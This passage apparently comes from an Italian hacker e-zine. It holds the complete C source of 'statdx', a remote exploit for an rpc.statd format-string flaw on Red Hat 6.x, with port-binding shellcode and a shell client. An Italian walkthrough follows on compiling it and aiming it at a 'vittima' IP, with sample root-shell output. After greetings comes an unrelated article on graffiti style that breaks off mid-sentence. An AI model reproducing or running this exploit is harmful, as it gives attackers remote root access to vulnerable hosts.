*** I'm one of the chosen few *** Who went ahead and fell for you *** *** $ gcc -o statdx statdx.c ; ./statdx -h *** *** Thanks to smiler for the format string vulnerability clarification. *** *** background info *** --------------- *** rpc.statd is an ONC RPC server that implements the Network Status *** Monitor RPC protocol to provide reboot notification. It is used by *** the NFS file locking service (rpc.lockd) when it performs lock *** recovery. *** *** Due to a format string vulnerability in a call to syslog() within *** its logging module, rpc.statd can be exploited remotely by script *** kids bent on breaking into your Redhat Linux box and defacing your *** website with crackpot political musings. *** *** This is not a traditional buffer overflow vulnerability. The data *** are kept within the bounds of the buffer by means of a call to *** vsnprintf(). The saved return address can be overwritten indirectly *** without a contiguous payload. syslog() is given, for the most part, *** a user-supplied format string with no process-supplied arguments. *** Our format string will, if carefully constructed, cause the process *** to cull non-arbitrary addresses from the top of the stack for *** sequential writes using controlled values. Exploitation requires *** an executable stack on the target host -- almost invariably the *** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm. *** *** exploit info *** ------------ *** You have one shot at this in most situations, so get it right! *** *** If you know the port number rpc.statd is serving requests on, you *** can supply the port number on the commandline to bypass the initial *** portmapper query. This is very useful for hosts which are filtering *** inbound connections to the portmapper. The default attack protocol *** is UDP. There is a commandline option to use TCP. Apparently, the *** dispatcher uses both protocols by default. *** *** If you're only interested in exploiting a host, then you can safely *** skip the following information. You'll only need a buffer address *** to get started. This buffer address will either be one of my canned *** ones or your own one. It must be precise, and this is where you're *** likely to experience difficulties with your attacks. *** *** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]-----> *** | | *** %esp buffer[1024] *** *** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]---> *** | r | r+1 | r+2 | r+3 | *** *** buffer -> This is the address you'll need (-a and -l options) *** str -> Process-supplied string; 24 bytes long *** 4 -> Duplicate dwords to satisfy the %!d specifiers and *** the double %n when two successive values are equal *** r -> Stack position of saved eip *** %8x.. -> Wipes the va_list dword and str; 9 by default (-w option) *** %!x -> Used for padding to form an aggregate overwrite value; *** the exclamation mark denotes a field width. This may *** or may not be present, depending on the value. An *** algorithm is used to allow tricky values. *** %n -> Writes overwrite value to the corresponding address *** sc -> Nops + portbinding shellcode (port 39168) *** *** Only modify the default wipe value and the default offset value if you *** know what you're doing. *** *** An easy way to get the buffer address for simulation systems that you *** have privileged access to: *** *** [term 1]# ltrace -p `pidof rpc.statd` -o foo *** [term 2]$ ./statdx -a 0x41414141 localhost *** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \ *** awk -F"," '{print $1}' *** *** (Of course, ensure that rpc.statd is started at boot time and not from *** an interactive shell, otherwise it will inherit a larger environment *** and blow the accuracy of your findings.) *** *** Ok, longwinded enough. Let's dance. *** *** greets *** ------ *** ADM, attrition, rogues, security.is, teso *** **/ #include #include #include #include #include #include #include #include #include #include #include #define SM_PROG 100024 #define SM_VERS 1 #define SM_STAT 1 #define SM_MAXSTRLEN 1024 #define max(a,b) ((a)>(b)?(a):(b)) #define NOP 0x90 /* ** Non-ripped linux IA32 portbinding shellcode. ** port: 39168 ; length: 133 bytes */ char shellcode[] = "\x31\xc0" /* xorl %eax,%eax */ /* jmp ricochet ------------------------------------------------------- */ "\xeb\x7c" /* jmp 0x7c */ /* kungfu: ------------------------------------------------------------ */ "\x59" /* popl %ecx */ "\x89\x41\x10" /* movl %eax,0x10(%ecx) */ /* ------------------------------------ socket(2,1,0); ---------------- */ "\x89\x41\x08" /* movl %eax,0x8(%ecx) */ "\xfe\xc0" /* incb %al */ "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ "\x89\xc3" /* movl %eax,%ebx */ "\xfe\xc0" /* incb %al */ "\x89\x01" /* movl %eax,(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ bind(sd,&sockaddr,16); -------- */ "\xb3\x02" /* movb $0x2,%bl */ "\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ "\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ "\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ "\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ "\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ "\x88\x01" /* movb %al,(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ listen(sd,blah); -------------- */ "\xb3\x04" /* movb $0x4,%bl */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ accept(sd,0,16); -------------- */ "\xb3\x05" /* movb $0x5,%bl */ "\x30\xc0" /* xorb %al,%al */ "\x88\x41\x04" /* movb %al,0x4(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,0); ------------------- */ "\x89\xce" /* movl %ecx,%esi */ "\x88\xc3" /* movb %al,%bl */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,1); ------------------- */ "\xfe\xc1" /* incb %cl */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,2); ------------------- */ "\xfe\xc1" /* incb %cl */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ execve("/bin/sh",argv,0); ----- */ "\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */ "\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */ "\x30\xc0" /* xorb %al,%al */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x0c" /* movl %esi,0xc(%esi) */ "\x8d\x56\x10" /* leal 0x10(%esi),%edx */ "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ "\x89\xf3" /* movl %esi,%ebx */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ exit(blah); ------------------- */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80" /* int $0x80 */ /* ricochet: call kungfu ---------------------------------------------- */ "\xe8\x7f\xff\xff\xff"; /* call -0x81 */ enum res { stat_succ, stat_fail }; struct sm_name { char *mon_name; }; struct sm_stat_res { enum res res_stat; int state; }; struct type { int type; char *desc; char *code; u_long bufpos; int buflen; int offset; int wipe; }; struct type types[] = { {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9}, {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9}, {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9}, {0, NULL, NULL, 0, 0, 0, 0} }; bool_t xdr_sm_name(XDR *xdrs, struct sm_name *objp) { if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) return (FALSE); return (TRUE); } bool_t xdr_res(XDR *xdrs, enum res *objp) { if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp) { if (!xdr_res(xdrs, &objp->res_stat)) return (FALSE); if (!xdr_int(xdrs, &objp->state)) return (FALSE); return (TRUE); } void usage(char *app) { int i; fprintf(stderr, "statdx by ron1n \n"); fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app); fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] \n"); fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n"); fprintf(stderr, "-p\trpc.statd serves requests on [query]\n"); fprintf(stderr, "-a\tthe stack address of the buffer is \n"); fprintf(stderr, "-l\tthe length of the buffer is [1024]\n"); fprintf(stderr, "-o\tthe offset to return to is [600]\n"); fprintf(stderr, "-w\tthe number of dwords to wipe is [9]\n"); fprintf(stderr, "-s\tset timeout in seconds to [5]\n"); fprintf(stderr, "-d\tuse a hardcoded \n"); fprintf(stderr, "Available types:\n"); for(i = 0; types[i].desc; i++) fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc); exit(EXIT_FAILURE); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "cd /; ls -alF; id;\n", 19, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { perror("select()"); exit(EXIT_FAILURE); } if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { perror("recv()"); exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); errno = 0; if(send(sockd, buff, ret, 0) != ret) { if(errno) perror("send()"); else fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE); } } } } void connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(39168); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket()"); exit(EXIT_FAILURE); } if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) { printf("OMG! You now have rpc.statd technique!@#$!\n"); runshell(sockd); } close(sockd); } char * wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) { int i, j, cnt, pad; char pbyte, *buff, *ptr; u_long retpos; u_long dstpos; while(bufpos % 4) bufpos--; /* buflen + ebp */ retpos = bufpos + buflen + 4; /* ** 0x00 == '\0' ** 0x25 == '%' ** (add troublesome bytes) ** Alignment requirements aid comparisons */ pbyte = retpos & 0xff; /* Yes, it's 0x24 */ if(pbyte == 0x00 || pbyte == 0x24) { fprintf(stderr, "Target address space contains a poison char\n"); exit(EXIT_FAILURE); } /* ** Unless the user gives us a psychotic value, ** the address should now be clean. */ /* str */ cnt = 24; /* 1 = process nul */ buflen -= cnt + 1; if(!(buff = malloc(buflen + 1))) { perror("malloc()"); exit(EXIT_FAILURE); } ptr = buff; memset(ptr, NOP, buflen); for(i = 0; i < 4; i++, retpos++) { /* junk dword */ for(j = 0; j < 4; j++) *ptr++ = retpos >> j * 8 & 0xff; /* r + i */ memcpy(ptr, ptr - 4, 4); ptr += 4; cnt += 8; } /* restore */ retpos -= 4; for(i = 0; i < wipe; i++) { /* consistent calculations */ strncpy(ptr, "%8x", 3); ptr += 3; cnt += 8; } dstpos = bufpos + offset; /* ** This small algorithm of mine can be used ** to obtain "difficult" values.. */ for(i = 0; i < 4; i++) { pad = dstpos >> i * 8 & 0xff; if(pad == (cnt & 0xff)) { sprintf(ptr, "%%n%%n"); ptr += 4; continue; } else { int tmp; /* 0xffffffff = display count of 8 */ while(pad < cnt || pad % cnt <= 8) pad += 0x100; pad -= cnt, cnt += pad; /* the source of this evil */ tmp = sprintf(ptr, "%%%dx%%n", pad); ptr += tmp; } } *ptr = NOP; /* plug in the shellcode */ memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); buff[buflen] = '\0'; printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset); printf("wiping %d dwords\n", wipe); return buff; } struct in_addr getip(char *host) { struct hostent *hs; if((hs = gethostbyname(host)) == NULL) { herror("gethostbyname()"); exit(EXIT_FAILURE); } return *((struct in_addr *) hs->h_addr); } int main(int argc, char **argv) { int ch; char *buff; CLIENT *clnt; enum clnt_stat res; struct timeval tv, tvr; struct sm_name smname; struct sm_stat_res smres; struct sockaddr_in addr; int type = -1; int usetcp = 0; int timeout = 5; int wipe = 9; int offset = 600; int buflen = 1024; char *target; char *sc = shellcode; u_short port = 0; u_long bufpos = 0; int sockp = RPC_ANYSOCK; extern char *optarg; extern int optind; extern int opterr; opterr = 0; while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) { switch(ch) { case 't': usetcp = 1; break; case 'p': sscanf(optarg, "%hu", &port); break; case 'a': sscanf(optarg, "%lx", &bufpos); break; case 'l': buflen = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 's': timeout = atoi(optarg); break; case 'w': wipe = atoi(optarg); break; case 'd': type = atoi(optarg); break; default : usage(argv[0]); } } if(!(target = argv[optind])) { fprintf(stderr, "No target host specified\n"); exit(EXIT_FAILURE); } if(type >= 0) { if(type >= sizeof types / sizeof types[0] - 1) { fprintf(stderr, "Invalid type\n"); exit(EXIT_FAILURE); } sc = types[type].code; bufpos = types[type].bufpos; buflen = types[type].buflen; offset = types[type].offset; wipe = types[type].wipe; } if(!bufpos) { fprintf(stderr, "No buffer address specified\n"); exit(EXIT_FAILURE); } bzero(&addr, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = getip(target); tv.tv_sec = timeout; tv.tv_usec = 0; if(!usetcp) { clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); if(clnt == NULL) { clnt_pcreateerror("clntudp_create()"); exit(EXIT_FAILURE); } tvr.tv_sec = 2; tvr.tv_usec = 0; clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); } else { clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); if(clnt == NULL) { clnt_pcreateerror("clnttcp_create()"); exit(EXIT_FAILURE); } } /* AUTH_UNIX / AUTH_SYS authentication forgery */ clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); buff = wizardry(sc, bufpos, buflen, offset, wipe); smname.mon_name = buff; res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, (caddr_t) &smres, tv); if(res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call()"); printf("A timeout was expected. Attempting connection to shell..\n"); sleep(5); connection(addr); printf("Failed\n"); } else { printf("Failed - statd returned res_stat: (%s) state: %d\n", smres.res_stat ? "failure" : "success", smres.state); } free(buff); clnt_destroy(clnt); return -1; } -------------------------------------------statdx.c---------------------------------------------- Creeiamo il file statdx.c ,e copiamici il sorgente qui sopra elencato. Adesso dobbiamo compilare il programma,e lo facciamo con il seguente comando: gcc -o statdx statdx.c altrimenti fare: gcc statdx.c -o statdx Adesso dobbiamo usare l'exploit compilato in precedenza. Per farlo non dobbiamo fare altro(scusate la ripetizione)che dare il seguente comando: ./statdx ip opzione Versione_Red_Hat Ecco un piccolo schema x aiutarvi: Versione_Red_Hat Opzione Numero_equivalente_alla_versione Red Hat 6.2 -d 0 Red Hat 6.1 -d 1 Red Hat 6.0 -d 2 Qundi se dobbiamo attaccare una red hat 6.2 daremo il comando: ./statdx ipvittima -d 0 Per la red hat 6.1: ./statdx ipvittima -d 1 E infine x red hat 6.0: ./statdx ipvittima -d 2 Mi sembra chiara la cosa,o no? A questo punto,se l'exploit funziona dovrebbe apparirvi nel terminale una serie di scritte tipo queste: buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Message from syslogd@localhost at Mon Jan 1 12:40:42 2001 ... localhost clnt_call(): RPC: Timed out A timeout was expected. Attempting connection to shell.. OMG! You now have rpc.statd technique!@#$! total 2166esempi drwxr-xr-x 18 root root 1024 Dec 27 14:28 ./ drwxr-xr-x 18 root root 1024 Dec 27 14:28 ../ drwx------ 3 root root 1024 Dec 26 00:18 .gnome/ drwx------ 2 root root 1024 Dec 26 00:18 .gnome_private/ drwxr-xr-x 2 root root 2048 Dec 26 01:12 bin/ drwxr-xr-x 3 root root 1024 Dec 26 01:15 boot/ -rw------- 1 root root 2142208 Dec 27 14:28 core drwxr-xr-x 5 root root 34816 Jan 1 11:56 dev/ drwxr-xr-x 29 root root 2048 Jan 1 11:56 etc/ drwxr-xr-x 2 root root 1024 Feb 6 1996 home/ drwxr-xr-x 4 root root 3072 Dec 26 01:09 lib/ drwxr-xr-x 2 root root 12288 Dec 26 01:00 lost+found/ drwxr-xr-x 4 root root 1024 Dec 26 01:01 mnt/ dr-xr-xr-x 63 root root 0 Jan 1 12:56 proc/ drwxr-x--- 13 root root 1024 Jan 1 12:01 root/ drwxr-xr-x 3 root root 2048 Dec 26 01:14 sbin/ drwxrwxrwt 6 root root 1024 Jan 1 11:56 tmp/ drwxr-xr-x 19 root root 1024 Dec 26 01:06 usr/ drwxr-xr-x 15 root root 1024 Dec 26 01:14 var/ uid=0(root) gid=0(root) Dico "tipo queste" xchè l'exploit nell'esempio che ho fatto,l'ho eseguito nel mio sistema,cmq x rendere l'idea và più che bene. Come si può ben notare,si possono vedere le directory e a che livello di permessi sono. Ok,sono sono root sul mio sistema!Che emozione! ;) Adesso che l'accesso root c'è,tocca a voi. Questo è un'exploit vecchiotto ma ancora diffuso in giro per la rete. Per patchare il sistema,basta collegarsi all'ftp della casa Red Hat,ovvero: ftp.redhat.com Anche per oggi abbiamo finito ;) Un saluto dal vostro SPYRO Byez -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- bash# cd /saluti bash# cat saluti.txt Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn,BsTHaCk,Anubi,D4rkSt4r,jex,Silent,dibbellas,^maga^ Radion,Warning,Terror,Gouranga,Blender,Prodigy,Hiolz[83],Memorik,Hedo,MrWolf,Screen_it,zapotecz, Goony,Scire,Sulex,Floppino,Grungio,Fratak,McGiver,AntiS,gouranga,LizDay,satz,cancerman,Dea,ULCC,Spider2k Ice'St0rm e tutti quelli che ho dimenticato di #phreak.it(scusatemi). Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk,Maphias0ft,gli Spippolatori,in particolare il grande Master,Chrome, Brigante,RigorMortem,Vinx2o2o,fen0x,DARKMAN,risk e tutti quelli che mi vogliono bene :) Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!!!!!! -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- bash# cat end.c #include void main(void){ printf("Anche per oggi è tutto dal vostro SPYRO\n"); printf("Ciaoooooooooooo\n"); } bash# halt ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... ORA SI PUO' SPEGNERE IL COMPUTER! ahahaha scherzo ;) /===========================::=============================::=================/ / /Writer Block (Bx-Bomber) / Jrash / /===========================::=============================::=================/ ===================================°WRITER BLOCK (BX-BOMBER)°==================================== Autore: Jrash H@ E-mail: jrash@hackerasat.com Tempo impiegato: 9 ore 44 minuti Musica ascoltata: radio (stazione radio ibiza) Consumi: un bell aperitivo fatto da me: 2 bottigliette di crodino, ghiaccio, arancia, vodka e uno spruzzo di coca cola....ve loi consiglio ottimo Salve gente, come molti di voi sanno io prima di intraprendere questo duro viaggio nel mondo di internet, vivevo in un altro mondo, quello dell Hip-Hop; io ero uno di quelli che come molti sanno vengono chiamati writer, B-boy, come volete chiamarli voi. Proprio per questo scrivo questo articolo, cioè per rendervi consapevoli della magneficenza del mondo dell Hip-Hop, e il mio scopo è avvicinarvi ad esso... Questo aricolo in poche parole è la continuazione di quello, che è stato pubblicato nel numero 3 della dirtynet, e spero che molti di voi lo abbiano letto.. Bene, ora non voglio annoiarvi con queste solite pallose intro, dunque passiamo al sodo , non posso dirvi nient' altro, solo : BUONA LETTURA:))) Mi piace questo argomento.Di cosa si tratta esattamente? Si dice che alcuni l'abbiano altri no...io direi che tutti hanno stile, ma è lostile gia' in circolazione, oppure no? Ho un po' la mentalita sèpigolosa e pronta a tutto cio' che serve per parlare di questa roba. Dall italia al bronx lo stile è evidente... se guardo gli spunti che trovo sui treni italiani vedo alcunoi esempi sia buoni che pessimi , ma qui ci addentriamo troppo nei gusti, in ogni caso direi che la vione che ti fa dire "ehi"! Questo è lo stile! Dovrebbe e potrebbe essere facilmente valutabile da un punto fermo evoluzionistico e da quello istintivo terzo occhio. La roba scarasa esiste e non è esatto dire necessariamente che la bellezza sta nell occhio di chi guarda. E cioè non è bello cio'che è bello, ma è bello cio' che piace. Di solito controlliamo com'è un pezzo e decidiamo di conseguenza tutti gli elementi. Se dovessimo costruire una bella donna, non so, ma penserei che piu di nove volte su dieci , non dovrebbe pesare 400 libbre con una pelle tutta piena di bolle, magari pelata con parrucchino e baffi (professoerssa fortunato). Le cose carine non si fanno mettendo semplicemente mettendo insieme il giusto abbigliamento e non si tratta nemmeno di costruire una sedia che poi non puo' sostenere neanche una persona. Tutti vogliono pensare che, dato che hanno uno stile, per forza sono bravi e lo stile è buono. Io voglio essere citato dopo l ultima parola riguardo lo stile potente, lo stile bello e lo stile scarso. Dovremmo fare dei nomi? Come possiamo darvi degli esempi sui migliori in campo ed anche fornirvi un idea di cosa non è buono? Innanzitutto facciamo chiarezza. Avere stile non significa che quest ultimo debba essere complicato. Esistono stili semplici tipo logo che, sono buoni e molti stili di throw-up veramente scarsi. Non c'è immaginazione, ma si tratta solamente di qualcosa creato per essere eseguito piu' velocemente possibile senza alcuna attenzione all apparenza ed al coeme si mostra. Non posso conformarmi a questo approccio. Lo stile dovrebbe essere preso in considerazione in ogni evento connesso alla scrittura. Un pezzo non è mai stato inteso per essere eseguito il piu' velocemente possibile , ed ogni libro che dichiara il contrario non è un libro assicurato; un pezzo era destinato ad essere fatto in maniera efficiente il che, innanzitutto significava riempito. All inizio prima che gli stili specifici delle lettere gettassero le basi, non importava come appariva una lettera, ma era un dovere riempire il pezzo. La multa per questi spazi riempiti invisibili di solito era un pezzo, invece, riempito e piazzato sopra il tuo. A new york gli idioti il cui unico punto forte è il throw-up, dichiariamo che molti artisti ottengono fama eseguendo semplicemente pezzi minimali. Ma sono i pezzi minimali che richiedono il massimpo del tempo per essere prodotti. Il dichiararsi KING richiede mentalita' il che significa metterci tempo, ma nessuno sforzo nel fare il pezzo...sappiamo tutti che non ci si impiega molto a mettere una merda di throw-up sul muricciolo...non ci si impiega molto a buttare uno stile semplice su un muro come nel caso di wild-burner...ed ancora alcuni esperti possono fare dei gran pezzi piu' velocemente di quanto si possa pensare. Quindi quello che veramente ci vuole ad avere uno stile ed a migliorarsi come writer è l incentivo ad esserlo. Allora come lo vogliamo mettere? Cerchiamoi un approccio con buon senso al tema stile Vs throw-up. OK se il throw-up non è mega...beh sara' meglio di un burner e questo è quanto. Qualcuno potrebbe sostenere ancora che i due stili siano completamente diversi l uno dall altro. Ma il punto è quello di mostrare uno stile e un altro siule estremo che, nel momento in cui viene comparato col primo distrugge l altro. Piu' o meno vedete delinearsi la questione....questo non è un esempio primario e magari qualcuno preferisce comunque quell in. È probabile comiunque che questo secondo stile possa essere eseguito in manieraq altrettanto facile. Il fatto è che probabilmente non c'è molto dispendio di energie ad aggiungere qualcosa di extra alle semplici lettere che ci sono state donate e questo è quello che tecnicamente è sempre stato approccio, oltre ad essere la parte principale di quello che fa del writing il WRITING e dello stile lo STILE. Se semplicemente seguissimo le cose cosi' come ci sono state insegnate, non esisterebbe di certo cosi' tanta intensita' nelle forme espressive come in efetti esiste. Lo stile migliore? Quello che rompe gli schemi dei componenti fondatori... la roba incomparabile...la roba che non ci riesce nemmeno ad immaginarti come possa essere venuta fuori. Ok dovremmo aggiungere che lo stile è quello che tu ne fai, ma noi cerchiamo di essere elitari... non crediamo che tutto sia buono poiche quella è la mentalita' che fa in modo che i writers siano tutto tranne che potenti. Si torna qui ai gusti dell individuo e, qui sono d accordo con gli altri, al fatto che sia piu' una questione di capire l intera circonferenza e gli elementi che compongono e che possono comporre una dinamica dello stile o che possano funzionare dinamicamente. Quando lo stile venne alla luce, ovviamente i writes notarono che alcuni di loro stavano facendo cose in una maniera diversa e furono riconosciuti come i migliori. I king che si sono veramnete dedicati allo stile, saranno rispettati per sempre, ed è lostile a creare la visione che fa il lettering aerosol una forma d arte, non il throw-up. Scusate! Oh, stavo ceracndo di dire che l esperienza separa la capacita' di capire di ognuno dal gusto personale. Il writing è uno scambio, questo è. Va oltre quello che uno sente. È la realizzazione e l assorbimento dei particolari che ci vogliono per spaccare! Forse è meglio fare un esempio per vedere se i nostri lettori riescono a capire perche' un particolare stile è coesivo e qui vogliamo mostrare alcune tecniche ed approcci diversi. Un esmpio dipinto. Abbiamo dimenticato di parlare del colore! Di certo il lettering puo' essere una bomba , ma la cooordinazione del colore puo' far sì chew un pezzo...esploda! Alcuni writer sono stilisti migliori di quanto sappiamo colorare, mentre altri sono dei grandi coloristi con uno stile mediocre e mettono insieme dei magnifici schemi di colore per camuffare la semplicita delle loro lettere. poi ci sono i tridimensionali senza outline, i quali sono tecnicamente forti ed hanno flow , ma molti mancano di complessita e di crudezza per essere veramente esplosivi. Il lettering aerosol è stato porytato oltre i limiti, ma anche con l onda dei njuovi approcci, la crudezza deve rimanere intatta. Le idee devono essere riviste per formare ulteriori idee... bla bla bla...guardate oltrre quello che siete abituati a vedere, rischiate, non arenatevi sullo stile sicuro di un altro, ma fatelo vostro ed andate avanti per il benificio della vostra abilita e per la cultura. Questo pero' puo' essere un argomento che puo' portare a delle controversie, ma a noi non importa...oggi. Era raro fissare le forme delle evoluzioni aerosol e molti stili che sono andati e venuti e che continuano, giorno per giorno, su delle basi mondiali, rimangono fissi sulle tradizioni; ma npon importa sia nel caso in cui tu sia mediocre o che invece prosperi, non contenere mai le tue idee o il tuo lavoro e troverai che maggiore è lo spazio, maggiora sara' lo spazio pittorico che avrai per l innovazione e per la pratica. Brucia bambino, brucia. Immaginate un pezzo che copra un building delle nazioni unite, end to end. Immaginate! se pensate così...allora avete il giusto atteggiamento. Nessun limite. Tutto è possibile, badsta che guardiate agli anni 70...ed a cosa i 90 sono arrivati. Esistono cose che veramente hanno bisogno di essere considerate in relazione ad una resa funzionale dello stile. Con le tonnellate di tecniche là fuori nel mondo dell aerosol, considerate...la linea...e controllate. Pressapoco come un pittore senza controllo non sara' capace di avere il concetto di stile coesivamente globale. Quindi certamente avete dei pittori con uno stile distintivo in cui la formazione e la definizione della linea vengono a mancare per formare un pezzo del lavoro. Ragioni? Esempi? Buone idee, ma pessimo approccio. Affrettato. Non progettato per avere una struttura fluida. FluidITà? Voi la chiamate così. Io la tirero' in ballo per un pezzo che non è bilanciato... un pezzo che abbia spazi larghi o buchi che creano un' inconsistenza di flow e che insinuano una mancanza di connessione nella composizion, come ad esempio gli outline piatti. L esempio mostra delle idee dalle quali una persona puo' essere in grado di trarre un buon stile coesivo ma qui le linnee sono consistenti e le due forme, in quanto due forme possono relazionarsi nel caso in cui le lettere fossero loro associate per bilanciare il buco, lo spazio altrimenti è impossibile. Questo potrebbe essere applicabile sia che lo stile sia piatto che tridimensionale. Ecco qui, piu' o meno un esempio dello stesso concetto in cui le barre sono maggiormente dritte, le linee sono piu' morbide, così come le lettere ridultano maggiormente amalgamate per, quindi, creare un' unione. Ora tecnicamente, la parte inferiore della destra "D" dovrebbe essere prevalentemente un ornamento per bilanciarla con la parte inferiore della freccia della "E" in modo da crearne maggiore equilibrio. Quindi questa resa lavora molto meglio esteticamente.Ci vuole molto di piu' a formare una struttura coesiva, fluida e funzionante con stili di lettere complessi e concatenati, piutttosto che con semplici lettere. Maggiore è la forma o l ornamento piu la composizione risulta consistente. E' ridicolo che certi maestri di throw-up cerchino di parlare con i maestri dello stile dicendo: non sei capace di fare un throw-up !! Un messia dello stile una volta disse In questo spazio editoriale abbiamo gia' affermato chi9aramente che i throw-up non debbano mancare né in stile né in qualita'. Addirittura anni addietro, in relazione a come eravate, un throw-up non era necessariamnete un throw-up. Tecnicamente sarebbero stati l artenativa al buttare giu' un pensiero peso , al di' fuori dello stiel, si cadrebbe nella categoria dei pezzi logo, e non del pezzo malamente riempito con la minor resa senza stile del nome di qualcuno. Lo stile potrente non sta nell occhio di chi guarda! Un pezzo non è bello perche piace a chi lo ha fatto o a chi lo guarda. Non voglio sentire ste cose...in modo da non offendere aggiungerei: per i principianti o per quelli iul cui stile è scarso, porteremo alcuni degli esempi in cui sono raffigurati stili buoni(sezione photos www.hackersat.com) semplici e complessi. Quello che ogni persona dovrebbe studiare è la consistenza della linea, il lettering e la forma, il flow e la similarità. Ora potremmo spiegare il tutto molto meglio tecnicamente e confonndervi ancora di piu' di quanto non lo siate gia', come la maggior parte delle cose, ci dovete riflettere da soli; è una scienza...dalla A alla Z ed oltre dipende dalla vostra condizione mentale e dal vostro atteggiamento. Probabilmente uno dei migliori esempi per mostrare il meglio ed il peggio è far vedere alcune foto del prima e del dopo di alcuni lavori di writers selezionati che sono divntati maestri di uno stile in mnodo che ognuno possa vedere la differernza. Studiate la storia e le sue evoluzioni. E' evidente che i writer, soprattutto gli innovatori, hanno perfezionato il loro stile sia instintivamente che incosciamente. L'evoluzione è una parte della cultura. Conoscendo la vostra storia allora tutto diventa piu' chiaro. Lostile puo' solamente trarre beneficio e quindi elevarsi attraverso il processo dell evoluzione della creatività e dell innovazione e le nozioni della possibilità di ampliare le lettere sono infinite; questo se il tutto viene avvicinato nel senso di venire costruito, non neccessariamente premeditato, ma in quanto equazione che riproduce un tipo di lavoro che deve stare in piedi, eretta o cmq fluire in maniera eretta.E questo è qualcosa che l occhio e la mente possono scoprire. Una volta che questa cosa viene assorbita, allora si puo' sempre avere l abilità nel capire cosa crea o cosa rompe uno stile...siete sufficientemente confusi? Bene, voi capite che io devo rendere l argomento interessante! Ma lo è veramente. Una volta che lo porterete oltre i confini , le linee e le curve... lasciate poi andare l immaginazione. Questo +è quello che fa del meglio il MEGLIO che 